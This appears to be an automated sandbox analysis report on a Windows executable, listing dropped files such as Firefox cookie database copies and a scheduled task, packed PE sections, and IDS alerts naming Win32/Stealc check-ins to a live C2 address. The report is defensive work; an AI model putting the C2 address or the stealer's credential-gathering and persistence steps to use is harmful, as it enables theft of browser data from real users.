Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite-shm

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\DocumentsCGDHIEGCFH.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1901568
Entropy (8bit):	7.950387227547049
Encrypted:	false
SSDEEP:	24576:hLlzK5rxpCMVlsyMIoUxmuEg2sF4Np+ytm4n2In3FdcAyYVVL8HcdFGto8Pbwwwi:hLQ5S2Dzo/QesPmbcAVLc6F49zYd+Xj
MD5:	0666D4775F770D43FA3CF484008B6D93
SHA1:	787D16FE61592CBBD321D55E7EF52664267B5A08
SHA-256:	C4E3B29AE305FBD372D763A1BBAF7573732DC10AE08F7D60D721D473B737893E
SHA-512:	FBC23E5440B1AA2BA06F7EABE24E37EFB46499746FD3D2564BA9B63AE27DA3A4B4BB77FDFC3A38B16B27E835D3531E4259FC6A5799ECAAEA95823AE3C1339F13
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................K...........@...........................K...........@.................................W...k.......H...................,sK..............................rK..................................................... . ............................@....rsrc...H...........................@....idata ............................@... ..*.........................@...nmkptigd......1.....................@...sphqvbak......K.....................@....taggant.0....K.."..................@...................................................................................................................................................................................................................

C:\Windows\Tasks\skotes.job

Download File

Process:	C:\Users\user\DocumentsCGDHIEGCFH.exe
File Type:	data
Category:	dropped
Size (bytes):	306
Entropy (8bit):	3.4974846740621053
Encrypted:	false
SSDEEP:	6:MnvHvZs/DZXUKJUEZ+lX1CGdKUe6tcVAkXIEZ8MlW8+y0lBIevEt0:+HGrlvJQ1CGAFMkXd8kX+VBIect0
MD5:	6317DB73A9E59D296CD44A0BB9B7C0FD
SHA1:	7C3626BACB75F2D97817F4FA2DC800223E0ACB20
SHA-256:	67664AA2C5E85A90ECFAB042AD3F41F1F2A57649E6F2064C2FC0F7D67DF3BDEB
SHA-512:	136FA78E2F092C1CC0DA7D271D50F85BC795E00C5DE79585D25F217FCE5E8469722C0B002E0FF1A52DA00882CC3521F353FD4693F3B334209012CB972B1463C4
Malicious:	false
Preview:	......[W..8E.."+.C..F.......<... .....s.......... ....................;.C.:.\.U.s.e.r.s.\.F.R.O.N.T.D.~.1.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.a.b.c.3.b.c.1.9.8.5.\.s.k.o.t.e.s...e.x.e.........F.R.O.N.T.D.E.S.K.-.P.C.\.f.r.o.n.t.d.e.s.k...................0.................%.@3P.........................

Chrome Cache Entry: 475

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5338)
Category:	downloaded
Size (bytes):	5343
Entropy (8bit):	5.806177331286125
Encrypted:	false
SSDEEP:	96:9IpgRm5li5H6666VgV4BPEx39dMgOXFvhAFWOxy1sgnTaosxz5bAeLE4W9BZ4UfZ:9IY+SH6666wIPEfdWXF5A0WgTaBrVWfJ
MD5:	575ACAB0A8142A4A8352B9ABF1305858
SHA1:	B1AC65827D91EF5E7E68179B7CECD80968BA1805
SHA-256:	54754BDF39978DCCF244208E7277FCEAD688114CBEB931535A5E7322017A2277
SHA-512:	BFB76A3CACA5B669888F763C983126367170C2C16C2C81928BF7C6D01A3751C4954E13AC0F7B9B05F36D8D1545C5B09AB05221689FE4F247F3E97AF53C5BEB4F
Malicious:	false
URL:	https://www.google.com/complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw
Preview:	)]}'.["",["nfl coverage maps","cash app settlement class action lawsuit","stardew valley mobile crashing","arcane season 2","weather forecast snow storm","spacex starship flight 6","college basketball","kfc boneless chicken mashed potato sandwich"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","google:suggestdetail":[{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"google:entityinfo":"CgkvbS8wMzl5enMSFEF0aGxldGljIGFzc29jaWF0aW9uMrMZZGF0YTppbWFnZS9qcGVnO2Jhc2U2NCwvOWovNEFBUVNrWkpSZ0FCQVFBQUFRQUJBQUQvMndDRUFBa0dCd2dIQmdrSUJ3Z0tDZ2tMRFJZUERRd01EUnNVRlJBV0lCMGlJaUFkSHg4a0tEUXNKQ1l4Sng4ZkxUMHRNVFUzT2pvNkl5cy9SRDg0UXpRNU9qY0JDZ29LRFF3TkdnOFBHamNsSHlVM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOemMzTnpjM056YzNOLy9BQUJFSUFFQUFRQU1CRVFBQ0VRRURFUUgveEFBY0FBQUNBZ01CQVFBQUFBQUFBQUFBQUFBRUJnVUhBQUlEQ0FIL3hBQXpFQUFCQXdJRkFnVURBd01GQUFBQUFBQUJBZ01FQlJ

Chrome Cache Entry: 476

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	29
Entropy (8bit):	3.9353986674667634
Encrypted:	false
SSDEEP:	3:VQAOx/1n:VQAOd1n
MD5:	6FED308183D5DFC421602548615204AF
SHA1:	0A3F484AAA41A60970BA92A9AC13523A1D79B4D5
SHA-256:	4B8288C468BCFFF9B23B2A5FF38B58087CD8A6263315899DD3E249A3F7D4AB2D
SHA-512:	A2F7627379F24FEC8DC2C472A9200F6736147172D36A77D71C7C1916C0F8BDD843E36E70D43B5DC5FAABAE8FDD01DD088D389D8AE56ED1F591101F09135D02F5
Malicious:	false
URL:	https://www.google.com/async/newtab_promos
Preview:	)]}'.{"update":{"promos":{}}}

Chrome Cache Entry: 477

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2586)
Category:	downloaded
Size (bytes):	175125
Entropy (8bit):	5.554368182631651
Encrypted:	false
SSDEEP:	3072:fc3bXo9SLtl9UNXr+FqVBiFWGHj4LsBUnL7BB19HD4VHDgJElS5bOFYG4bhlth0j:fc33Ltl9UhtVBi8ij4LsBU7BB19HD+Db
MD5:	DE27580D28C778BDEB06F70676896EB2
SHA1:	B4110DAAA338236B713E45FC5C7D24D37DFF8832
SHA-256:	5446EE28C1524D6D01444EE57DC4649E45BE7EDF69FD8CB317D94E7E62AD0D38
SHA-512:	26A8E77282C167A66CEAC4C015AB56814A9F96D4A26E2BA5EFC8B9ECB1B14042A1E79FEBC553F81225ABA63BF7D0713AED7299936843786BCB1ABA4C5EFD2D86
Malicious:	false
URL:	"https://www.gstatic.com/og/_/js/k=og.qtm.en_US.Ed7fPZdAP88.2019.O/rt=j/m=q_dnp,qmd,qcwid,qapid,qald,qads,q_dg/exm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/rs=AA2YrTsAQtU7Exa5LSjaPuQb-KRl1yfMjA"
Preview:	this.gbar_=this.gbar_\|\|{};(function(_){var window=this;.try{._.aj=class extends _.Q{constructor(){super()}};.}catch(e){_._DumpException(e)}.try{.var bj,cj,gj,jj,ij,ej,hj;bj=function(a){try{return a.toString().indexOf("[native code]")!==-1?a:null}catch(b){return null}};cj=function(){_.Na()};gj=function(a,b){(_.dj\|\|(_.dj=new ej)).set(a,b);(_.fj\|\|(_.fj=new ej)).set(b,a)};jj=function(a){if(hj===void 0){const b=new ij([],{});hj=Array.prototype.concat.call([],b).length===1}hj&&typeof Symbol==="function"&&Symbol.isConcatSpreadable&&(a[Symbol.isConcatSpreadable]=!0)};_.kj=function(a,b,c){a=_.tb(a,b,c);return Array.isArray(a)?a:_.Gc};._.lj=function(a,b){a=(2&b?a\|2:a&-3)\|32;return a&=-2049};_.mj=function(a,b){a===0&&(a=_.lj(a,b));return a\|1};_.nj=function(a){return!!(2&a)&&!!(4&a)\|\|!!(2048&a)};_.oj=function(a,b,c){32&b&&c\|\|(a&=-33);return a};._.rj=function(a,b,c,d,e,f,g){a=a.ha;var h=!!(2&b);e=h?1:e;f=!!f;g&&(g=!h);h=_.kj(a,b,d);var k=h[_.v]\|0,l=!!(4&k);if(!l){k=_.mj(k,b);var m=h,p=b;const q=!!(

Chrome Cache Entry: 478

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (65531)
Category:	downloaded
Size (bytes):	133058
Entropy (8bit):	5.435075274196611
Encrypted:	false
SSDEEP:	3072:frkPdsBJT7bKwkztS6STFSz1nrmcSnXYK02i6o:fEdUW5c5Sz1nKcSnoK08o
MD5:	526B44E7BAD9D9064D8D7D8DB7812D97
SHA1:	EFF42C1458439D1AE4250F8D0B0E662B1D51815D
SHA-256:	E0AF60BA57B910BC8A4338AB658F4C7B991EA34950C133691DB70741380F4276
SHA-512:	1C6D585559FACC58BDE51557FD47E6EA3F0593C9AC80ADA8A22741056B6BD1211986E6D7BA71901A7F1B9A418FEFC00EA50D58D7F2213E0E7C5C33D54D0C0406
Malicious:	false
URL:	https://www.google.com/async/newtab_ogb?hl=en-US&async=fixed:0
Preview:	)]}'.{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e\u003cdiv class\u003d\"gb_Pd\"\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_kd gb_od gb_Fd gb_ld\"\u003e\u003cdiv class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M3 18h18v-2H3v2zm0-5h18v-2H3v2zm0-7v2h18V6H3z\"\u003e\u003c\/path\u003e\u003c\/svg\u003e\u003c\/div\u003e\u003cdiv class\u003d\"gb_Jc gb_Mc gb_Q\" aria-label\u003d\"Go back\" title\u003d\"Go back\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u003d\"M20 11H7.83l5.59-5.59L12 4l-8 8 8 8 1.41-1.

Chrome Cache Entry: 479

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (1302)
Category:	downloaded
Size (bytes):	117949
Entropy (8bit):	5.4843553913091005
Encrypted:	false
SSDEEP:	3072:D7yvvjOy7sipKTr3dH39oogNLLDzZzS7oF:D7yjOy7LS39mnhS7oF
MD5:	A5D33473ED0997C008D1C053E0773EBE
SHA1:	FEB4CB89145601A0141CC5869BEDF9AE7CD5CB80
SHA-256:	14C27BB0224FCF89A43B444B427DABE3D0AF184CAA7B6B4990CE228C51AE01C1
SHA-512:	3C0A48F9FA05469F950D9A268F1B3E9285A783A555EE597A2E203B688EB0FBCAEA3F4DE9BC8F5381C661007D0C6C4AFA70C19B7826D69A0E2A914A55973D14BD
Malicious:	false
URL:	"https://apis.google.com/_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0"
Preview:	gapi.loaded_0(function(_){var window=this;._._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);.var da,ea,ha,na,oa,sa,ta,wa;da=function(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}};ea=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;return a};.ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)return c}throw Error("a");};_.la=ha(this);na=function(a,b){if(b)a:{var c=_.la;a=a.split(".");for(var d=0;d<a.length-1;d++){var e=a[d];if(!(e in c))break a;c=c[e]}a=a[a.length-1];d=c[a];b=b(d);b!=d&&b!=null&&ea(c,a,{configurable:!0,writable:!0,value:b})}};.na("Symbol",function(a){if(a)r

Chrome Cache Entry: 480

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (5162), with no line terminators
Category:	downloaded
Size (bytes):	5162
Entropy (8bit):	5.3503139230837595
Encrypted:	false
SSDEEP:	96:lXTMb1db1hNY/cobkcsidqg3gcIOnAg8IF8uM8DvY:lXT0TGKiqggdaAg8IF8uM8DA
MD5:	7977D5A9F0D7D67DE08DECF635B4B519
SHA1:	4A66E5FC1143241897F407CEB5C08C36767726C1
SHA-256:	FE8B69B644EDDE569DD7D7BC194434C57BCDF60280078E9F96EEAA5489C01F9D
SHA-512:	8547AE6ACA1A9D74A70BF27E048AD4B26B2DC74525F8B70D631DA3940232227B596D56AB9807E2DCE96B0F5984E7993F480A35449F66EEFCF791A7428C5D0567
Malicious:	false
URL:	"https://www.gstatic.com/og/_/ss/k=og.qtm.zyyRgCCaN80.L.W.O/m=qmd,qcwid/excm=qaaw,qabr,qadd,qaid,qalo,qebr,qein,qhaw,qhawgm3,qhba,qhbr,qhbrgm3,qhch,qhchgm3,qhga,qhid,qhidgm3,qhin,qhlo,qhlogm3,qhmn,qhpc,qhsf,qhsfgm3,qhtt/d=1/ed=1/ct=zgms/rs=AA2YrTs4SLbgh5FvGZPW_Ny7TyTdXfy6xA"
Preview:	.gb_P{-webkit-border-radius:50%;border-radius:50%;bottom:2px;height:18px;position:absolute;right:0;width:18px}.gb_Ja{-webkit-border-radius:50%;border-radius:50%;-webkit-box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);box-shadow:0px 1px 2px 0px rgba(60,64,67,.30),0px 1px 3px 1px rgba(60,64,67,.15);margin:2px}.gb_Ka{fill:#f9ab00}.gb_F .gb_Ka{fill:#fdd663}.gb_La>.gb_Ka{fill:#d93025}.gb_F .gb_La>.gb_Ka{fill:#f28b82}.gb_La>.gb_Ma{fill:white}.gb_Ma,.gb_F .gb_La>.gb_Ma{fill:#202124}.gb_Na{-webkit-clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 31.3282C19.1443 31.7653 17.5996 32 16 32C7.16344 32 0 24.8366 0 16C0 7.16344 7.16344 0 16 0Z");clip-path:path("M16 0C24.8366 0 32 7.16344 32 16C32 16.4964 31.9774 16.9875 31.9332 17.4723C30.5166 16.5411 28.8215 16 27 16C22.0294 16 18 20.0294 18 25C18 27.4671 18.9927 29.7024 20.6004 3

Chrome Cache Entry: 481

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1660
Entropy (8bit):	4.301517070642596
Encrypted:	false
SSDEEP:	48:A/S9VU5IDhYYmMqPLmumtrYW2DyZ/jTq9J:A2VUSDhYYmM5trYFw/jmD
MD5:	554640F465EB3ED903B543DAE0A1BCAC
SHA1:	E0E6E2C8939008217EB76A3B3282CA75F3DC401A
SHA-256:	99BF4AA403643A6D41C028E5DB29C79C17CBC815B3E10CD5C6B8F90567A03E52
SHA-512:	462198E2B69F72F1DC9743D0EA5EED7974A035F24600AA1C2DE0211D978FF0795370560CBF274CCC82C8AC97DC3706C753168D4B90B0B81AE84CC922C055CFF0
Malicious:	false
URL:	https://www.gstatic.com/images/branding/googlelogo/svg/googlelogo_clr_74x24px.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="74" height="24" viewBox="0 0 74 24"><path fill="#4285F4" d="M9.24 8.19v2.46h5.88c-.18 1.38-.64 2.39-1.34 3.1-.86.86-2.2 1.8-4.54 1.8-3.62 0-6.45-2.92-6.45-6.54s2.83-6.54 6.45-6.54c1.95 0 3.38.77 4.43 1.76L15.4 2.5C13.94 1.08 11.98 0 9.24 0 4.28 0 .11 4.04.11 9s4.17 9 9.13 9c2.68 0 4.7-.88 6.28-2.52 1.62-1.62 2.13-3.91 2.13-5.75 0-.57-.04-1.1-.13-1.54H9.24z"/><path fill="#EA4335" d="M25 6.19c-3.21 0-5.83 2.44-5.83 5.81 0 3.34 2.62 5.81 5.83 5.81s5.83-2.46 5.83-5.81c0-3.37-2.62-5.81-5.83-5.81zm0 9.33c-1.76 0-3.28-1.45-3.28-3.52 0-2.09 1.52-3.52 3.28-3.52s3.28 1.43 3.28 3.52c0 2.07-1.52 3.52-3.28 3.52z"/><path fill="#4285F4" d="M53.58 7.49h-.09c-.57-.68-1.67-1.3-3.06-1.3C47.53 6.19 45 8.72 45 12c0 3.26 2.53 5.81 5.43 5.81 1.39 0 2.49-.62 3.06-1.32h.09v.81c0 2.22-1.19 3.41-3.1 3.41-1.56 0-2.53-1.12-2.93-2.07l-2.22.92c.64 1.54 2.33 3.43 5.15 3.43 2.99 0 5.52-1.76 5.52-6.05V6.49h-2.42v1zm-2.93 8.03c-1.76 0-3.1-1.5-3.1-3.52 0-2.05 1.34-3.52 3.1-3

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.946239211906218
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'808'384 bytes
MD5:	3c1fc0e5501a732f21671110d1593fed
SHA1:	df8457ee8030c34112df1216a8457de65c80d122
SHA256:	a92119cb350ecb1278481b42dfd550cdfdebc144c39b83f291ee7deb91c23d87
SHA512:	6a7ae4c0bfe6d83cfa161995bd9587eee86b311729c5ad748b91c035bf03748d521eba54343e258e6bb8de32ff09ecb05cc92b6936dea192eca4eb8b6e8f97e2
SSDEEP:	49152:zgSP9rrtmx/nGcFiYQefhoMHud3L55ns5f:Tprta/nHiYXfhoMHu5ns5f
TLSH:	C2853319ADA40327D52065B50D8CD0D1B473872B359FFB29048BB2EFAA6B33546B7E70
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8...k...k...k..'k...k...k...k..&k...k...k...k...k...k...j...k...k...k..#k...k...k...kRich...k........................PE..L..

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xa94000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x672FC34F [Sat Nov 9 20:17:19 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F441490EA7Ah
pcmpeqd mm3, qword ptr [ebx]
add byte ptr [eax], al
add byte ptr [eax], al
add cl, ch
add byte ptr [eax], ah
add byte ptr [eax], al
add byte ptr [edi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dh
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x24b04d	0x61	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x24a000	0x1ac	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x24b1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	714addaf19b5dfd3244a8ad8b446c297	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1ac	0x200	3d4bec36320d17ffa42d0936573d6554	False	0.580078125	data	4.526378242088224	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a7000	0x200	19f276961aa745b1862acd7f9d3e2e04	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
pjkvfjuj	0x4f3000	0x1a0000	0x19fa00	7728c125b18b8b6df206308cbb5a13dd	False	0.9947779605263158	data	7.954291391492252	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
cssxusxa	0x693000	0x1000	0x400	558345302b5f3832dd61cd278953afe0	False	0.71875	data	5.759470532171328	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x694000	0x3000	0x2200	bec9d729c4a215e721c822a1feb04ac7	False	0.06904871323529412	DOS executable (COM)	0.7624146858470321	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_MANIFEST	0x692848	0x152	ASCII text, with CRLF line terminators			0.6479289940828402

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-17T22:20:19.566967+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:19.849971+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.7	49704	185.215.113.206	80	TCP
2024-11-17T22:20:19.856664+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.7	49704	TCP
